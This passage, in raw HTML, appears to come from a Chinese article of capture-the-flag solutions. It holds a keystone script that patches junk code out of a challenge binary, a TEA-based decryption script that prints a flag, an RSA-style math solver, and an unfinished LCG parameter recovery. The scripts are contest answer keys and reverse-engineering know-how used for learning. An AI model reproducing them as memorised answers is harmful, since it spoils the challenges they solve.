class="code-snippet__number">19</span>:</span></code><code><span class="code-snippet_outer">            ins = <span class="code-snippet__string">&#39;add esi, 86&#39;</span></span></code><code><span class="code-snippet_outer">            ins_len = <span class="code-snippet__number">3</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">elif</span> choice == <span class="code-snippet__number">20</span>:</span></code><code><span class="code-snippet_outer">            ins = <span class="code-snippet__string">&#39;xor esi, edi&#39;</span></span></code><code><span class="code-snippet_outer">            ins_len = <span class="code-snippet__number">2</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">elif</span> choice == <span class="code-snippet__number">29</span>:</span></code><code><span class="code-snippet_outer">            ins = <span class="code-snippet__string">&#39;call 0x140001950; push rax&#39;</span></span></code><code><span class="code-snippet_outer">            tmp[i:i+<span class="code-snippet__number">6</span>] = ks.asm(ins, <span class="code-snippet__number">0x1400010B8</span>)[<span class="code-snippet__number">0</span>]</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">elif</span> choice == <span class="code-snippet__number">30</span>:</span></code><code><span class="code-snippet_outer">            tmp[i:i+<span class="code-snippet__number">2</span>] = ks.asm(<span class="code-snippet__string">&#39;jmp 0x140001106&#39;</span>, <span class="code-snippet__number">0x1400010F0</span>)[<span class="code-snippet__number">0</span>]</span></code><code><span class="code-snippet_outer">            tmp[<span class="code-snippet__number">0x506</span>:<span class="code-snippet__number">0x506</span>+<span class="code-snippet__number">7</span>] = ks.asm(<span class="code-snippet__string">&#39;call 0x140001a50;jmp 0x1400010F2&#39;</span>, <span class="code-snippet__number">0x140001106</span>)[<span class="code-snippet__number">0</span>]</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">else</span>:</span></code><code><span class="code-snippet_outer">            print(<span class="code-snippet__string">f&#39;<span class="code-snippet__subst">{i+<span class="code-snippet__number">0x140000c00</span>:#x}</span>: unknown <span class="code-snippet__subst">{choice}</span>&#39;</span>)</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">assert</span> <span class="code-snippet__number">0</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> choice <span class="code-snippet__keyword">not</span> <span class="code-snippet__keyword">in</span> (<span class="code-snippet__number">29</span>, <span class="code-snippet__number">30</span>):</span></code><code><span class="code-snippet_outer">            tmp[i:i+ins_len] = ks.asm(ins)[<span class="code-snippet__number">0</span>]</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">with</span> open(<span class="code-snippet__string">&#39;junk-new2.exe&#39;</span>,<span class="code-snippet__string">&#39;wb&#39;</span>) <span class="code-snippet__keyword">as</span> f:</span></code><code><span class="code-snippet_outer">        f.write(tmp)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">with</span> open(<span class="code-snippet__string">&#39;./junk.exe&#39;</span>, <span class="code-snippet__string">&#39;rb&#39;</span>) <span class="code-snippet__keyword">as</span> f:</span></code><code><span class="code-snippet_outer">    raw = f.read()</span></code><code><span class="code-snippet_outer">patch1(<span class="code-snippet__number">0x1000</span>, <span class="code-snippet__number">0x1aa0</span>)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">with</span> open(<span class="code-snippet__string">&#39;./junk-new1.exe&#39;</span>, <span class="code-snippet__string">&#39;rb&#39;</span>) <span class="code-snippet__keyword">as</span> f:</span></code><code><span class="code-snippet_outer">    raw = f.read()</span></code><code><span class="code-snippet_outer">patch2(<span class="code-snippet__number">0x1000</span>, <span class="code-snippet__number">0x1aa0</span>)</span></code></pre></section><h1 style=""><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"><strong><span style="font-size: 20px;">阶段三</span></strong></v:path></v:shapetype></v:path></v:shapetype></v:path></v:shapetype><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype></h1><p><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect">patch后得到程序核心逻辑如下：<br/></v:path></v:shapetype></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.7258064516129032" data-s="300,640" style="" data-type="png" data-w="1860" src="https://wechat2rss.xlab.app/img-proxy/?k=5a8bf08d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nLrut2hM6pyJYRoFIB4F4XsG5j6PZb31IMuC4Eyq7cqnvCPtEic0v9v12Qh7PsgC3kdEpial0HuMMyw%2F640%3Fwx_fmt%3Dpng"/></p><p>其中enc1函数为TEA加密</p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.7200598802395209" data-s="300,640" style="" data-type="png" data-w="1336" src="https://wechat2rss.xlab.app/img-proxy/?k=9bfefe6c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nLrut2hM6pyJYRoFIB4F4Xs0FSSBbaVpGQV6vlVeWch8ib3oCdMDTwRQzUMJbibhCu6RUXaBZ7uEczQ%2F640%3Fwx_fmt%3Dpng"/></p><p>enc2函数为逐字节循环左移5位</p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6189376443418014" data-s="300,640" style="" data-type="png" data-w="866" src="https://wechat2rss.xlab.app/img-proxy/?k=df6c7701&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nLrut2hM6pyJYRoFIB4F4XsbUeAG2zFuzdqHxuVibj0NW3WRzB45LXuXqDVGcaywmAnrtjRTZDL2Hg%2F640%3Fwx_fmt%3Dpng"/></p><p><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect">解密脚本如下：</v:path></v:shapetype></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="kotlin"><code><span class="code-snippet_outer">from struct <span class="code-snippet__keyword">import</span> pack, unpack</span></code><code><span class="code-snippet_outer">from ctypes <span class="code-snippet__keyword">import</span> *</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">ans = [  <span class="code-snippet__number">0xF2</span>, <span class="code-snippet__number">0x7F</span>, <span class="code-snippet__number">0x09</span>, <span class="code-snippet__number">0x05</span>, <span class="code-snippet__number">0xD7</span>, <span class="code-snippet__number">0x77</span>, <span class="code-snippet__number">0x16</span>, <span class="code-snippet__number">0x91</span>, <span class="code-snippet__number">0x25</span>, <span class="code-snippet__number">0x01</span>, </span></code><code><span class="code-snippet_outer">  <span class="code-snippet__number">0x2E</span>, <span class="code-snippet__number">0xC5</span>, <span class="code-snippet__number">0x97</span>, <span class="code-snippet__number">0x26</span>, <span class="code-snippet__number">0x63</span>, <span class="code-snippet__number">0x82</span>, <span class="code-snippet__number">0x01</span>, <span class="code-snippet__number">0x40</span>, <span class="code-snippet__number">0x15</span>, <span class="code-snippet__number">0x2D</span>, </span></code><code><span class="code-snippet_outer">  <span class="code-snippet__number">0xFC</span>, <span class="code-snippet__number">0x53</span>, <span class="code-snippet__number">0xDB</span>, <span class="code-snippet__number">0xD3</span>, <span class="code-snippet__number">0xC4</span>, <span class="code-snippet__number">0xDB</span>, <span class="code-snippet__number">0x0A</span>, <span class="code-snippet__number">0x1F</span>, <span class="code-snippet__number">0x82</span>, <span class="code-snippet__number">0x1E</span>, </span></code><code><span class="code-snippet_outer">  <span class="code-snippet__number">0x99</span>, <span class="code-snippet__number">0x4E</span>, <span class="code-snippet__number">0xFE</span>, <span class="code-snippet__number">0x0C</span>, <span class="code-snippet__number">0x80</span>, <span class="code-snippet__number">0xB8</span>, <span class="code-snippet__number">0xA5</span>, <span class="code-snippet__number">0x61</span>, <span class="code-snippet__number">0x0E</span>, <span class="code-snippet__number">0x99</span>, </span></code><code><span class="code-snippet_outer">  <span class="code-snippet__number">0xDF</span>, <span class="code-snippet__number">0x39</span>]</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">def dec1(<span class="code-snippet__keyword">data</span>):</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">for</span> i <span class="code-snippet__keyword">in</span> range(len(<span class="code-snippet__keyword">data</span>)):</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">data</span>[i] = (<span class="code-snippet__keyword">data</span>[i] &gt;&gt; <span class="code-snippet__number">5</span>) | ((<span class="code-snippet__keyword">data</span>[i] &lt;&lt; <span class="code-snippet__number">3</span>) &amp; <span class="code-snippet__number">0xff</span>)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">def dec2(<span class="code-snippet__keyword">data</span>):</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">for</span> i <span class="code-snippet__keyword">in</span> range(len(<span class="code-snippet__keyword">data</span>)):</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">data</span>[i] ^= <span class="code-snippet__number">0x66</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">data</span>[i] -= <span class="code-snippet__number">50</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">data</span>[i] &amp;= <span class="code-snippet__number">0xff</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">def dec3(<span class="code-snippet__keyword">data</span>):</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">data</span> = bytearray(<span class="code-snippet__keyword">data</span>)</span></code><code><span class="code-snippet_outer">    k = [<span class="code-snippet__number">12</span>, <span class="code-snippet__number">45</span>, <span class="code-snippet__number">67</span>, <span class="code-snippet__number">86</span>]</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">for</span> i <span class="code-snippet__keyword">in</span> range(<span class="code-snippet__number">0</span>, <span class="code-snippet__number">40</span>, <span class="code-snippet__number">8</span>):</span></code><code><span class="code-snippet_outer">        v0, v1 = unpack(<span class="code-snippet__string">&#39;II&#39;</span>, <span class="code-snippet__keyword">data</span>[i:i+<span class="code-snippet__number">8</span>])</span></code><code><span class="code-snippet_outer">        v0 = c_uint32(v0)</span></code><code><span class="code-snippet_outer">        v1 = c_uint32(v1)</span></code><code><span class="code-snippet_outer">        delta = <span class="code-snippet__number">0x9E3779B9</span></span></code><code><span class="code-snippet_outer">        total = c_uint32(delta*<span class="code-snippet__number">32</span>)</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">for</span> j <span class="code-snippet__keyword">in</span> range(<span class="code-snippet__number">32</span>):</span></code><code><span class="code-snippet_outer">            v1.value -= ((v0.value &lt;&lt; <span class="code-snippet__number">4</span>) + k[<span class="code-snippet__number">2</span>]) ^ (v0.value + total.value) ^ ((v0.value &gt;&gt; <span class="code-snippet__number">5</span>) + k[<span class="code-snippet__number">3</span>])</span></code><code><span class="code-snippet_outer">            v0.value -= ((v1.value &lt;&lt; <span class="code-snippet__number">4</span>) + k[<span class="code-snippet__number">0</span>]) ^ (v1.value + total.value) ^ ((v1.value &gt;&gt; <span class="code-snippet__number">5</span>) + k[<span class="code-snippet__number">1</span>])</span></code><code><span class="code-snippet_outer">            total.value -= delta</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">data</span>[i:i+<span class="code-snippet__number">8</span>] = pack(<span class="code-snippet__string">&#39;II&#39;</span>, v0.value, v1.value)</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">data</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">if</span> __name__ == <span class="code-snippet__string">&#39;__main__&#39;</span>:</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">data</span> = ans</span></code><code><span class="code-snippet_outer">    dec1(<span class="code-snippet__keyword">data</span>)</span></code><code><span class="code-snippet_outer">    dec2(<span class="code-snippet__keyword">data</span>)</span></code><code><span class="code-snippet_outer">    flag = dec3(<span class="code-snippet__keyword">data</span>)</span></code><code><span class="code-snippet_outer">    print(flag)</span></code></pre></section><h1><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect">运行即可得到flag</v:path></v:shapetype></h1><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.08855291576673865" data-s="300,640" style="" data-type="png" data-w="926" src="https://wechat2rss.xlab.app/img-proxy/?k=cdb292d4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nLrut2hM6pyJYRoFIB4F4Xs3ibBg5tFRQh4sKb1OK1cA3cuEVkndQ3ZwKLjgqtUtyCpHicFLEktr4NA%2F640%3Fwx_fmt%3Dpng"/></p><p><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype></p><h1 style="margin: 8px 0px;padding: 0px;font-weight: 400;font-size: 16px;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f" style="margin: 0px;padding: 0px;"><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect" style="margin: 0px;padding: 0px;"><strong style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;font-size: 24px;">0x1 签到题</span></strong></v:path></v:shapetype></h1><p style="margin-right: 0px;margin-left: 0px;padding: 0px;clear: both;min-height: 1em;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><br/></p><p style="margin-right: 0px;margin-left: 0px;padding: 0px;clear: both;min-height: 1em;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.906" data-s="300,640" style="margin: 0px;padding: 0px;max-width: 100%;height: auto !important;vertical-align: bottom;" data-type="png" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=6cc07876&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nKMeFbvLvhNbqEXHDREjhhWQlNA6AHMMPxRMhS00zr8BwxrJibFG7vg8NJ1d7iavm9N46WRwTRrcAoQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-right: 0px;margin-left: 0px;padding: 0px;clear: both;min-height: 1em;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.1762065095398428" data-s="300,640" style="margin: 0px;padding: 0px;max-width: 100%;height: auto !important;vertical-align: bottom;" data-type="png" data-w="891" src="https://wechat2rss.xlab.app/img-proxy/?k=c875d6ef&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nKMeFbvLvhNbqEXHDREjhhWSwJ5q0CqnYWJqh7VTTCdPOqE1FlRcypALSibXbpxLiaqIl59SvfzQqRg%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-right: 0px;margin-left: 0px;padding: 0px;clear: both;min-height: 1em;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.546" data-s="300,640" style="margin: 0px;padding: 0px;max-width: 100%;height: auto !important;vertical-align: bottom;" data-type="png" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=1e16ed92&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nKMeFbvLvhNbqEXHDREjhhWceSIhZVGzb32mcLA3Xl0VT0IickZCUHjEUWcwZTToWuoibU6HGdjkYyg%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-top: 8px;margin-bottom: 8px;"><strong><span style="font-size: 24px;">0x2 simple math</span></strong></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6195445920303605" data-s="300,640" style="" data-type="png" data-w="1054" src="https://wechat2rss.xlab.app/img-proxy/?k=0205d8fc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nKMeFbvLvhNbqEXHDREjhhWA7pmPweeC8BeAzRCc6cqtHo53Mn7bypOpjLLfKlJiasicQkSzHYsqkKA%2F640%3Fwx_fmt%3Dpng"/></p><p><shapetype coordsize="21600,21600" spt="75" path="m@4@5l@4@11@9@11@9@5xe" preferrelative="t" filled="f" stroked="f"><stroke joinstyle="miter"></stroke><formulas><f eqn="if lineDrawn pixelLineWidth 0"></f><f eqn="sum @0 1 0"></f><f eqn="sum 0 0 @1"></f><f eqn="prod @2 1 2"></f><f eqn="prod @3 21600 pixelWidth"></f><f eqn="prod @3 21600 pixelHeight"></f><f eqn="sum @0 0 1"></f><f eqn="prod @6 1 2"></f><f eqn="prod @7 21600 pixelWidth"></f><f eqn="sum @8 21600 0"></f><f eqn="prod @7 21600 pixelHeight"></f><f eqn="sum @10 21600 0"></f></formulas><path extrusionok="f" gradientshapeok="t" connecttype="rect"></path><lock aspectratio="t"></lock></shapetype><shape type="#_x0000_t75" filled="t" fillcolor="#FFFFFF"><imagedata title="document_image_rId4"></imagedata></shape></p><p>脚本如下：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="python"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">from</span> Crypto.Util.number <span class="code-snippet__keyword">import</span> *</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> hashlib</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">from</span> gmpy2 <span class="code-snippet__keyword">import</span> *</span></code><code><span class="code-snippet_outer">c1 =  <span class="code-snippet__number">85139434329272123519094184286276070319638471046264384499440682030525456122476228324462769126167628121006213531153927884870307999106015430909361792093581895091445829379547633304737916675926004298753674268141399550405934376072486086468186907326396270307581239055199288888816051281495009808259009684332333344687</span></span></code><code><span class="code-snippet_outer">c2 =  <span class="code-snippet__number">104554808380721645840032269336579549039995977113982697194651690041676187039363703190743891658905715473980017457465221488358016284891528960913854895940235089108270134689312161783470000803482494370322574472422461483052403826282470850666418693908817591349159407595131136843764544166774390400827241213500917391144</span></span></code><code><span class="code-snippet_outer">c3 =  <span class="code-snippet__number">94771625845449128812081345291218973301979152577131568497740476123729158619324753128517222692750900524689049078606978317742545997482763600884362992468406577524708622046033409713416026145377740182233674890063333534646927601262333672233695863286637817471270314093720827409474178917969326556939942622112511819330</span></span></code><code><span class="code-snippet_outer">x =  <span class="code-snippet__number">78237329408351955465927092805995076909826011029371783256454322166600398149132623484679723362562600068961760410039241554232588011577854168402399895992331761353772415982560522912511879304977362225597552446397868843275129027248765252784503841114291392822052506837132093960290237335686354012448414804030938873765</span></span></code><code><span class="code-snippet_outer">y =  <span class="code-snippet__number">100442166633632319633494450595418167608036668647704883492068692098914206322465717138894302011092841820156560129280901426898815274744523998613724326647935591857728931946261379997352809249780159136988674034759483947949779535134522005905257436546335376141008113285692888482442131971935583298243412131571769294029</span></span></code><code><span class="code-snippet_outer">z =  <span class="code-snippet__number">104712661985900115750011628727270934552698948001634201257337487373976943443738367683435788889160488319624447315127992641805597631347763038111352925925686965948545739394656951753648392926627442105629724634607023721715249914976189181389720790879720452348480924301370569461741945968322303130995996793764440204452</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">e=<span class="code-snippet__number">2022</span></span></code><code><span class="code-snippet_outer">tmp1 = pow(x-e,e)-c1</span></code><code><span class="code-snippet_outer">tmp2 = pow(y-e,e)-c2</span></code><code><span class="code-snippet_outer">m = gcd(tmp1,tmp2)</span></code><code><span class="code-snippet_outer">print(m)</span></code><code><span class="code-snippet_outer">tmp3 = (x-e) % m</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">for</span> i <span class="code-snippet__keyword">in</span> range(<span class="code-snippet__number">1000</span>):</span></code><code><span class="code-snippet_outer">    m1 = tmp3 + i*m</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> c1 == pow(m+m1,e,m*m1):</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">print</span> (m1)</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">break</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">tmp4 = (y-e) % m</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">for</span> i <span class="code-snippet__keyword">in</span> range(<span class="code-snippet__number">1000</span>):</span></code><code><span class="code-snippet_outer">    m2=tmp4+i*m</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> c2 == pow(m+m2,e,m*m2):</span></code><code><span class="code-snippet_outer">        print(m2)</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">break</span></span></code><code><span class="code-snippet_outer">flag = m + m1 + m2</span></code><code><span class="code-snippet_outer">flag = hashlib.md5(str(flag).encode(<span class="code-snippet__string">&#39;utf-8&#39;</span>)).hexdigest()</span></code><code><span class="code-snippet_outer">print(flag)</span></code></pre></section><p style="margin-top: 8px;margin-bottom: 8px;"><br/><strong><span style="font-size: 24px;">0x3 easywork</span></strong></p><p>根据<a href="https://blog.csdn.net/superprintf/article/details/108964563博客中的方法中求解a、b、n。" target="_blank">https://blog.csdn.net/superprintf/article/details/108964563博客中的方法中求解a、b、n。</a></p><p><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="python"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">from</span> math <span class="code-snippet__keyword">import</span> gcd</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">from</span> gmpy2 <span class="code-snippet__keyword">import</span> invert</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">x = [<span class="code-snippet__number">150532854791355748039117763516755705063</span>,</span></code><code><span class="code-snippet_outer"><span class="code-snippet__number">335246949167877025932432065299887980427</span>,</span></code><code><span class="code-snippet_outer"><span class="code-snippet__number">186623163520020374273300614035532913241</span>,</span></code><code><span class="code-snippet_outer"><span class="code-snippet__number">215621842477244010690624570814660992556</span>,</span></code><code><span class="code-snippet_outer"><span class="code-snippet__number">220694532805562822940506614120520015819</span>,</span></code><code><span class="code-snippet_outer"><span class="code-snippet__number">17868778653481346517880312348382129728</span>,</span></code><code><span class="code-snippet_outer"><span class="code-snippet__number">160572327041397126918110376968541265339</span>]</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">t = [x[i+<span class="code-snippet__number">1</span>] - x[i] <span class="code-snippet__keyword">for</span> i <span class="code-snippet__keyword">in</span> range(len(x)<span class="code-snippet__number">-1</span>)]</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">f</span><span class="code-snippet__params">(i)</span>:</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span> t[i]*t[i+<span class="code-snippet__number">2</span>]-t[i+<span class="code-snippet__number">1</span>]*t[i+<span class="code-snippet__number">1</span>]</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">p = gcd(f(<span class="code-snippet__number">0</span>), f(<span class="code-snippet__number">1</span>))</span></code><code><span class="code-snippet_outer">print(<span class="code-snippet__string">&#39;p=&#39;</span>,p)</span></code><code><span class="code-snippet_outer">a = invert(x[<span class="code-snippet__number">1</span>]-x[<span class="code-snippet__number">0</span>], p)</span></code><code><span class="code-snippet_outer">a = a * (x[<span class="code-snippet__number">2</span>]-x[<span class="code-snippet__number">1</span>]) % p</span></code><code><span class="code-snippet_outer">print(<span class="code-snippet__string">&#39;a=&#39;</span>,a)</span></code><code><span class="code-snippet_outer">b = (x[<span class="code-snippet__number">1</span>] - x[<span class="code-snippet__number">0</span>] * a) % p</span></code><code><span class="code-snippet_outer">print(<span class="code-snippet__string">&#39;b=&#39;</span>,b)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">#p= 339088189917874808463944743121467561531</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">#a= 259086495324961642923203668736965982268</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">#b= 